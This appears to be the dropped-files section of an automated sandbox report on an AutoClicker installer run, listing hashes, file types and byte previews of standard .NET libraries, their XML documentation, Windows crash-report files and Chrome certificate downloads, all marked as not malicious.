                                                                        SHA-512:904C2ABFE632021BC66EA638694BAEB4E173486E7080CAE36444BB4A1E15E7F5F58132C96429837B77FFFAD2154EEE4E773829A65002C670CAD0A7AFCBB839CE
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...=.:O...........!.....2...........O... ...`....@.. ...............................l....@..................................O..S....`...............<..H............N............................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B.................O......H.......d....i...............'..P .......................................^3....D..0$...-.........h=.bwt...#.=..5ZG.}..s!..h........I.....Y.....bCt.g .....z.c..[V..Z.......*..]..4/@1={.X.E.MoL...e.d..{....*"..}....*..{....*"..}....*..{....*"..}....*.s....*"..o....*.sH...*.*B.h...(*...(....*....0..........(+...o...+..o....*...0..^.......(+...o...+..,N......(*...(+...o...+o..........(*...(+...o...+o..........(*...(+...o...+o.....*...0..........(+...o...+..9.....r...p.P...(*..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):183484
                                                                        Entropy (8bit):4.7848212109760935
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:95DD29CA17B63843AD787D3BC9C8C933
                                                                        SHA1:1A937009A92B034EDB168CFAC0EC1C353BE8F58E
                                                                        SHA-256:AE2C3DE9AD57D7091D9F44DCDEE3F88ECCF2BA7CB43ADC9BB24769154A532DC7
                                                                        SHA-512:8E9397816D3435CCF79F1BF07B482473A7DD3B570BCE003639F2E9FA1C5FE31C4B9400B68F191A36251A59C0253EF9E09039FDD63BA2205D379B3C582E603499
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Numerics.Vectors</name>.. </assembly>.. <members>.. <member name="T:System.Numerics.Matrix3x2">.. <summary>Represents a 3x2 matrix.</summary>.. </member>.. <member name="M:System.Numerics.Matrix3x2.#ctor(System.Single,System.Single,System.Single,System.Single,System.Single,System.Single)">.. <summary>Creates a 3x2 matrix from the specified components.</summary>.. <param name="m11">The value to assign to the first element in the first row.</param>.. <param name="m12">The value to assign to the second element in the first row.</param>.. <param name="m21">The value to assign to the first element in the second row.</param>.. <param name="m22">The value to assign to the second element in the second row.</param>.. <param name="m31">The value to assign to the first element in the third row.</param>.. <param name="m32">The value to assign to the second element in th
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):39936
                                                                        Entropy (8bit):5.593512133791687
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:3AB57A33A6E3A1476695D5A6E856C06A
                                                                        SHA1:DABB4ECFFD0C422A8EEBFF5D4EC8116A6E90D7E7
                                                                        SHA-256:4AACE8C8A330AE8429CD8CC1B6804076D3A9FFD633470F91FD36BDD25BB57876
                                                                        SHA-512:58DBFCF9199D72D370E2D98B8EF2713D74207A597C9494B0ECF5E4C7BF7CF60C5E85F4A92B2A1896DFF63D9D5107F0D81D7DDDBC7203E9E559AB7219ECA0DF92
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...du.K...........!..................... ........ ;. ....................................@.................................\...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......4O..X`..........xD......P ......................................{c...2......q..Z,.C.....3.n.Z..7....R.....T.{yF")i.$JMv...,a.....U...M:,...Z.Q:..c..N.{....<....h%.....:s..T...Z.gSI.....6.(.....{....*...0..&........(..............s....o.....s....}....*...0..K........(.....{....o........,3..+&..( .........{.....o!............*..X...(....2.*..0..L........{.....o"...,=(#...(..................($...o%.......(&...o%.....('...s(...z*.0...........o).......E............d
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (321), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):18215
                                                                        Entropy (8bit):4.720079384519439
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0737B770BA5D854D4887A8F4D9C8DE04
                                                                        SHA1:40A8A356D807D71C102C91D68AD1A0AD6E3FDDA6
                                                                        SHA-256:CA53D9B1BBEA04C30DB4186B015B7C57DCE7C5ECDF1CFAC9E4AFE9FFCF6910F0
                                                                        SHA-512:39A48874D547F714922F4864D3A34C842AC0898B09040796A9046182C093E3CA70F1D20F5D616721129E8D7F6A1F1FDEB3C8277C6BB2EB53B6DC8EA5966003C7
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Microsoft.Bcl.AsyncInterfaces</name>.. </assembly>.. <members>.. <member name="T:System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1">.. <summary>Provides the core logic for implementing a manual-reset <see cref="T:System.Threading.Tasks.Sources.IValueTaskSource"/> or <see cref="T:System.Threading.Tasks.Sources.IValueTaskSource`1"/>.</summary>.. <typeparam name="TResult"></typeparam>.. </member>.. <member name="F:System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1._continuation">.. <summary>.. The callback to invoke when the operation completes if <see cref="M:System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1.OnCompleted(System.Action{System.Object},System.Object,System.Int16,System.Threading.Tasks.Sources.ValueTaskSourceOnCompletedFlags)"/> was called before the operation completed,.. or <see cref="F:System.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):17998
                                                                        Entropy (8bit):4.745450356704606
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:AA2CB9BA14481A623EE20F821CF5D180
                                                                        SHA1:8B27D2B07845A94AA7741093E8A4D6D2E7B768DF
                                                                        SHA-256:A22E09986A09839DC697F13D76AADED6008001F3632986ACAEBC29F8EF489B82
                                                                        SHA-512:3E9E3118FA34EE04E3F9C3E9737493FEFB5AABB42BD0114285AEC948C57A60235979BAFFA1EE7BAAE9AE87D81C551ACD3C6A416BBD2CFD4C9F68766745ED65EC
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<doc>.. <assembly>.. <name>System.Runtime.CompilerServices.Unsafe</name>.. </assembly>.. <members>.. <member name="T:System.Runtime.CompilerServices.Unsafe">.. <summary>Contains generic, low-level functionality for manipulating pointers.</summary>.. </member>.. <member name="M:System.Runtime.CompilerServices.Unsafe.Add``1(``0@,System.Int32)">.. <summary>Adds an element offset to the given reference.</summary>.. <param name="source">The reference to add the offset to.</param>.. <param name="elementOffset">The offset to add.</param>.. <typeparam name="T">The type of reference.</typeparam>.. <returns>A new reference that reflects the addition of offset to pointer.</returns>.. </member>.. <member name="M:System.Runtime.CompilerServices.Unsafe.Add``1(``0@,System.IntPtr)">.. <summary>Adds an element offset to the given reference.</summary>.. <param name="source">The reference to add the of
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):141184
                                                                        Entropy (8bit):6.115495759785268
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:6FB95A357A3F7E88ADE5C1629E2801F8
                                                                        SHA1:19BF79600B716523B5317B9A7B68760AE5D55741
                                                                        SHA-256:8E76318E8B06692ABF7DAB1169D27D15557F7F0A34D36AF6463EFF0FE21213C7
                                                                        SHA-512:293D8C709BC68D2C980A0DF423741CE06D05FF757077E63986D34CB6459F9623A024D12EF35A280F50D3D516D98ABE193213B9CA71BFDE2A9FE8753B1A6DE2F0
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0.................. ... ....... .......................`............@.................................X...O.... ..0................#...@...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....((...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o)....{....(a...*..(....zN........o*...s+...*.(....z.s,...*..(....zF(U....(O...s-...*.(....z.(V...s-...*.(....z.s....*.(....z.s/...*..(....zN........o*...s0...*.(....zrr...p(\....c.K...(O...s1...*.(....zBr...p(Y...s1...*.(....z.s2...*.(....z.(X...s3...*.(!...z.(_...s3...*.(#...z
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (727), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):3481
                                                                        Entropy (8bit):4.808701688265429
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1C55860DD93297A6EA2FAD2974834C3A
                                                                        SHA1:7F4069341C6B62ECFC999A6C2D8A2D5FB59D44F6
                                                                        SHA-256:2EC7FB12E11F9831E40524427F6D88A3C9FFDD56CCFA81D373467B75B479A578
                                                                        SHA-512:37FA5D4553CA3165F10E2FFEF38FEFC0DBA4A2DBFA05AB9F09AB87B5F71F30E6D965D2F833F58B50B3BC2529EBE8FB5CC431C264F7B47AD026F5C5A874A6ADA1
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Buffers</name>.. </assembly>.. <members>.. <member name="T:System.Buffers.ArrayPool`1">.. <summary>Provides a resource pool that enables reusing instances of type <see cref="T[]"></see>.</summary>.. <typeparam name="T">The type of the objects that are in the resource pool.</typeparam>.. </member>.. <member name="M:System.Buffers.ArrayPool`1.#ctor">.. <summary>Initializes a new instance of the <see cref="T:System.Buffers.ArrayPool`1"></see> class.</summary>.. </member>.. <member name="M:System.Buffers.ArrayPool`1.Create">.. <summary>Creates a new instance of the <see cref="T:System.Buffers.ArrayPool`1"></see> class.</summary>.. <returns>A new instance of the <see cref="System.Buffers.ArrayPool`1"></see> class.</returns>.. </member>.. <member name="M:System.Buffers.ArrayPool`1.Create(System.Int32,System.Int32)">.. <summary>Creates a new instance of the <see
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):10147
                                                                        Entropy (8bit):4.891178331598223
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:C89E735FCF37E76E4C3D7903D2111C04
                                                                        SHA1:3C0F1F09C188D8C74B42041004ECE59BBD6F0F56
                                                                        SHA-256:975A9555F561B363C3E02FD533F6BF7083AA11BBC7CBF2B46C31DF3D3696B97B
                                                                        SHA-512:DEBDD8D0ED2FF6AD7B175ACFEB1681B1A68EEEDD6D717E20E6AC5E0D11C13A1219B4D60F9319939C63BF4B53456328531369F4A9FFF5B201475858310E385007
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Threading.Tasks.Extensions</name>.. </assembly>.. <members>.. <member name="T:System.Runtime.CompilerServices.ValueTaskAwaiter`1">.. <typeparam name="TResult"></typeparam>.. </member>.. <member name="M:System.Runtime.CompilerServices.ValueTaskAwaiter`1.GetResult">.. <returns></returns>.. </member>.. <member name="P:System.Runtime.CompilerServices.ValueTaskAwaiter`1.IsCompleted">.. <returns></returns>.. </member>.. <member name="M:System.Runtime.CompilerServices.ValueTaskAwaiter`1.OnCompleted(System.Action)">.. <param name="continuation"></param>.. </member>.. <member name="M:System.Runtime.CompilerServices.ValueTaskAwaiter`1.UnsafeOnCompleted(System.Action)">.. <param name="continuation"></param>.. </member>.. <member name="T:System.Threading.Tasks.ValueTask`1">.. <summary>Provides a value type that wraps a <see cref="Task{TResult}"></see> and
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (354), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):389301
                                                                        Entropy (8bit):4.618530832145614
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:65014C44702CA43A739BFE9688A84831
                                                                        SHA1:C076F7C17BB076BE64D833FE1B4C306B4E9A05BA
                                                                        SHA-256:E82F59726374B3ACFA05B038C882B087F4A3CC91B5F2CC4CA3A5A8B0D0B60BA0
                                                                        SHA-512:052234FD9CD6F82359F669660ED338248C13AFA08378247A2D879A964C13F83E0B5A155C0DAD78CA4B155D5EA4EFCE013804CC82AED15DF109326D21F366B437
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Microsoft.Practices.Prism</name>.. </assembly>.. <members>.. <member name="T:Microsoft.Practices.Prism.Bootstrapper">.. <summary>.. Base class that provides a basic bootstrapping sequence and hooks.. that specific implementations can override.. </summary>.. <remarks>.. This class must be overriden to provide application specific configuration... </remarks>.. </member>.. <member name="M:Microsoft.Practices.Prism.Bootstrapper.CreateLogger">.. <summary>.. Create the <see cref="T:Microsoft.Practices.Prism.Logging.ILoggerFacade"/> used by the bootstrapper... </summary>.. <remarks>.. The base implementation returns a new TextLogger... </remarks>.. </member>.. <member name="M:Microsoft.Practices.Prism.Bootstrapper.Run">.. <summary>..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):244053
                                                                        Entropy (8bit):4.887446132371486
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:FED072426E07DBC27A1D734D99526654
                                                                        SHA1:2282862D21FDC500CF34CD20B928E8888D662FD0
                                                                        SHA-256:DDA6AE13AA1736B29AC98109B7334D70081DD907A7AD6890C265A552D2DA03B6
                                                                        SHA-512:1BB6637C06681BC44BD2599BAFF3998F260242A0E2BD2B11FE81D91A7857B80DCF2B3608BAA09AB3676ACC87A9AF06BAA78C9077CEAD8FCC50F22A55A508C08D
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<doc>.. <assembly>.. <name>System.Text.Json</name>.. </assembly>.. <members>.. <member name="T:System.Text.Json.JsonCommentHandling">.. <summary>Defines how the <see cref="T:System.Text.Json.Utf8JsonReader" /> struct handles comments.</summary>.. </member>.. <member name="F:System.Text.Json.JsonCommentHandling.Allow">.. <summary>Allows comments within the JSON input and treats them as valid tokens. While reading, the caller can access the comment values.</summary>.. </member>.. <member name="F:System.Text.Json.JsonCommentHandling.Disallow">.. <summary>Doesn't allow comments within the JSON input. Comments are treated as invalid JSON if found, and a <see cref="T:System.Text.Json.JsonException" /> is thrown. This is the default value.</summary>.. </member>.. <member name="F:System.Text.Json.JsonCommentHandling.Skip">.. <summary>Allows comments within the JSON input and ignores them. The <see cref="T
                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                        File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):65536
                                                                        Entropy (8bit):1.440379988048841
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:521EC4367C16BB9165861025FB9B12FB
                                                                        SHA1:C5724A2A5F6974DB75049DF7E88D8EFD9493DBDF
                                                                        SHA-256:CC5416A471DEACC0178C0CF01039788E4CBFD578CF0326509109136C00BD3A0F
                                                                        SHA-512:DAB465F465D69E7EAFF8D770C59EBEFF83776F6E42A0B8E3A3C6CE737E45051ECB207CB1AE75F7647C1A8227810779D2F8E85009DB37C6D2612FC5DE2AF15429
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.9.7.3.3.0.4.5.2.1.1.6.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.9.7.3.3.0.5.2.8.7.1.5.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.8.7.8.7.6.7.d.-.e.c.f.d.-.4.a.8.6.-.8.2.9.5.-.2.a.e.2.e.e.d.e.3.9.5.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.6.8.2.e.c.4.2.-.5.f.3.d.-.4.e.5.1.-.a.8.1.a.-.2.1.b.6.b.a.9.c.a.b.9.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.A.u.t.o.C.l.i.c.k.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.u.t.o.C.l.i.c.k.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.b.4.-.0.0.0.1.-.0.0.1.6.-.5.7.0.f.-.8.c.1.9.9.4.2.3.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.8.b.f.4.7.1.6.7.f.1.2.2.d.2.2.c.5.b.7.8.4.2.3.7.b.5.2.a.9.f.7.0.0.0.0.0.0.0.0.!.0.0.0.0.8.e.c.c.d.6.b.3.0.5.3.a.0.c.f.3.f.4.e.1.e.3.9.e.c.6.6.a.f.c.1.e.a.8.c.6.2.f.7.4.!.A.u.t.o.C.l.i.
                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                        File Type:Mini DuMP crash report, 16 streams, Mon Oct 21 08:35:05 2024, 0x1205a4 type
                                                                        Category:dropped
                                                                        Size (bytes):763443
                                                                        Entropy (8bit):3.508390273003524
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:B04D240684A921E750C7682E634FE496
                                                                        SHA1:E1B66BE60F1E27284CDCD714FBC7C0037B297D7B
                                                                        SHA-256:9DC32FCD57C35DF922D8A950EB6226C8BBDEF47A5AA2F9D0F051F98E25150D2D
                                                                        SHA-512:CD7B001239A56E74895FABD878913620E6271F83DC284E9C69916DCEF6833FA2815175AA4B300C345B8253CF93F7C4C680AA3495579DCA1F25C957AFF5D0C908
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MDMP..a..... .......9..g........................l...........<...`8......4?...8.......~..0...........l.......8...........T............M...Y...........w...........y..............................................................................eJ......Tz......Lw......................T...........,..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                        File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):8196
                                                                        Entropy (8bit):3.722941452250259
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:3D73AED30AC4D40051706B81B2D92289
                                                                        SHA1:FF3942027360DC4BA92D13A3DCCB72ABB0EA1D67
                                                                        SHA-256:60F534DDAD07DAFB7A2157C5C589FEC411AEEFD0716C429C124DFAEA2A4E77BE
                                                                        SHA-512:5866D400DF67B748B74D715CA5012E799B2E8FA03F597B0D26307A5223C1CAFD4E34DD26EA5D95AEA8602A086EA3A01B29BD86F58FE008BA50373E63DBA04365
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.2.5.2.<./.P.i.
                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):4809
                                                                        Entropy (8bit):4.468669549523357
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:7CD53097BD067F95CDC4493E8BA069C8
                                                                        SHA1:28D1740DCE255D8B01531F480C1C1E4E6BF31A83
                                                                        SHA-256:434B16A166067E7BF5145E991D8CACB008BEF68A2235EF9FE3F9302A7123F03C
                                                                        SHA-512:2ACBAF29A56B372D52BC29ECA54F81BAF9FD3249F11CEA879CB4B26979EED3DDF08302DDA52AC40911ED76B5A7FA60CCA6DECC7110FF0693D7DC282BEB57ABE9
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="552937" />.. <arg nm="osinsty" val="2" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                        Category:dropped
                                                                        Size (bytes):71954
                                                                        Entropy (8bit):7.996617769952133
                                                                        Encrypted:true
                                                                        SSDEEP:
                                                                        MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                        SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                        SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                        SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:Certificate, Version=3
                                                                        Category:dropped
                                                                        Size (bytes):1398
                                                                        Entropy (8bit):7.676048742462893
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E94FB54871208C00DF70F708AC47085B
                                                                        SHA1:4EFC31460C619ECAE59C1BCE2C008036D94C84B8
                                                                        SHA-256:7B9D553E1C92CB6E8803E137F4F287D4363757F5D44B37D52F9FCA22FB97DF86
                                                                        SHA-512:2E15B76E16264ABB9F5EF417752A1CBB75F29C11F96AC7D73793172BD0864DB65F2D2B7BE0F16BBBE686068F0C368815525F1E39DB5A0D6CA3AB18BE6923B898
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:0..r0..Z.......vS..uFH....JH:N.0...*.H........0S1.0...U....BE1.0...U....GlobalSign nv-sa1)0'..U... GlobalSign Code Signing Root R450...200318000000Z..450318000000Z0S1.0...U....BE1.0...U....GlobalSign nv-sa1)0'..U... GlobalSign Code Signing Root R450.."0...*.H.............0.........-.0.z.=.r.:K..a....g.7..~.....C..E..cW]....%..h.K..K.J...j..a'..D...?".O.....(..].Y.......,.3$.P:A..{.M.X8.........,..C...t...{.3..Yk....Z.{..U......L...u.o.a.tD....t..h.l&>.......0....|U..p\$x %.gg...N4.kp..8...........;.gC....t./.....7=gl.E\.a.A.....w.FGs.....+....X.W..Z..%....r=....;D.&.........E.......Bng~B.qb...`.d....!N+.mh...tsg1z...yn|..~FoM..+."D...7..aW...$..1s..5WG~.:E.-.Q.....7.e...k.w....?.0.o1..@........PvtY..m.2...~...u..J.,....+B..j6..L.............:.c...$d.......B0@0...U...........0...U.......0....0...U.........F...x9...C.VP..;0...*.H.............^+.t.4D_vH(@....n..%.{...=..v...0 ..`.....x.+.2..$.RR......9n....CA}..[.]...&..tr&....=;jR.<../.{.3.E.....
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):328
                                                                        Entropy (8bit):3.150184159866505
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0D2396654409938A05F2026ED74CE161
                                                                        SHA1:7E19DF93BF66A9D9DA3BED5F37F583A1CC1B0FA5
                                                                        SHA-256:3C1C7B6219CFAEDDC5754BC5E6840675EA3D5F610B5163AC1A2014E52438961F
                                                                        SHA-512:38C2CB01402E4668ACC048AEC50FD1846CAE0C4494F2347B6EF2BAB8EC08EECE33E7D4C25DC1E12E9BE154F3751B274683F48F66DBE3E345E85489FBEC7ECD3D
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:p...... ........W.H..#..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):264
                                                                        Entropy (8bit):3.1097887147766574
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E5223B58880C3C3FBF5387CBE28432C6
                                                                        SHA1:F6FEEDA7130187AF800090D991951A8AF2EDD9C6
                                                                        SHA-256:7FC349F7BA96C2BD6A104F2C0AA819140B8E8CD0F58E0EF820A62A24A8011A66
                                                                        SHA-512:FA4218C47BE14CD5755D5F6B122779D35A4F07F01258BE249ADF338266757CEBD0E22FDB5B9B0465DC5D29A99BF1B61005AA7D3AE1D64F9D4F83FCDE0AA34E15
